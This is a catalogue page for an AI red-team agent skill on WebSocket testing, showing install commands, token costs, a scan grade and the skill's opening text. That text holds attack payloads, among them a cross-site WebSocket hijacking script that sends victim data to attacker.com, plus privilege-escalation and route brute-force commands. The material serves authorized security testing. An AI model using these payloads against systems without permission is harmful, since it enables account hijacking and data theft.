Decepticon is an autonomous red-team agent that coordinates AI agents, security tools, sandboxes, and supporting services for authorized cybersecurity assessments. Security researchers and red teams can run it through its Docker stack, cloud service, command-line interface, or Python SDK, with the catalogue entries representing its available skills.
Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add PurpleAILAB/Decepticon --skill websocketgit clone --depth 1 https://github.com/PurpleAILAB/DecepticonWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/purpleailab/decepticon/websocket)<a href="https://agentmods.dev/skills/purpleailab/decepticon/websocket"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/websocket/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/purpleailab/decepticon/websocket"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/websocket.svg" alt="Reviewed on agentmods" width="80" height="20"></a>- NVIDIA SkillSpector pass
What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00052 | $0.01088 |
| Opus 5 | $0.00026 | $0.00544 |
| Sonnet 5 | $0.00010 | $0.00218 |
| Haiku 4.5 | $0.00005 | $0.00109 |
Grade A, and why
api-websocket scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 9d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
curl -sk -i \ Copies of this mod
1 near-identical copy found in the catalogue:
- websocket — 97% identical, 2 lines differ
How it starts
The opening of the file, as written. The whole thing — 120 lines — stays where its author put it; the contents beside it link to each section on GitHub.
WebSocket Attack Surface
Detect
Look for Upgrade: websocket in any handshake. Common paths: /ws, /socket.io, /graphql-ws, /cable (Rails ActionCable), /hub (SignalR).
# Quick handshake test
curl -sk -i \
-H "Connection: Upgrade" \
-H "Upgrade: websocket" \
-H "Sec-WebSocket-Key: $(openssl rand -base64 16)" \
-H "Sec-WebSocket-Version: 13" \
-H "Origin: https://target" \
https://target/ws
# 101 = upgraded
Top 5 bug classes
1. Cross-Site WebSocket Hijacking (CSWSH)
Server doesn't validate Origin. Attacker site can open a WS from the victim's browser with the victim's cookies:
<!-- Hosted on attacker.com -->
<script>
const ws = new WebSocket("wss://target/ws");
ws.onmessage = e => fetch("https://attacker.com/x?d=" + btoa(e.data));
ws.onopen = () => ws.send(JSON.stringify({op:"list_messages"}));
</script>
Test by sending the same request you saw in DevTools but with Origin: https://attacker.com. If server accepts → CSWSH.
2. Missing per-message authorization
Server checks JWT on connect but trusts every later message. Send a connect with a low-priv token, then drop an admin-style message:
wscat -c "wss://target/ws?token=lowpriv_jwt"
> {"op":"users.list_all"} # ⚠ admin op succeeds
3. Message-type confusion
Server dispatches by JSON type field. Send a message with two types or a type the server doesn't expect:
{"type":"chat","type":"admin","args":{"cmd":"shutdown"}}
{"type":"\u0061dmin","args":{...}} // Unicode-normalize bypass
4. WS → wss downgrade
If the app uses ws:// over a public network: MITM to drop the upgrade and read everything in clear. Browser only forces wss for mixed-content cases.
5. Hidden RPC routes
WS multiplex many RPC methods over one socket. Discovery is rarely complete. Brute-force method names:
wscat -c wss://target/ws -H "Authorization: bearer $TOKEN" -x '{"op":"PLACEHOLDER","args":{}}'
# Replace PLACEHOLDER with each candidate: admin.*, internal.*, debug.*, eval, etc.
# Distinct error per route reveals what exists vs what's gated.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 9d ago First seen · 120 lines · 52 tokens per session scan A 8a2f4af7219a
api-websocket is a skill published in the GitHub repository PurpleAILAB/Decepticon (5,491 stars, last pushed 13d ago), licensed Apache-2.0. It adds 52 tokens to every session and 1,088 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it A with 1 finding (makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
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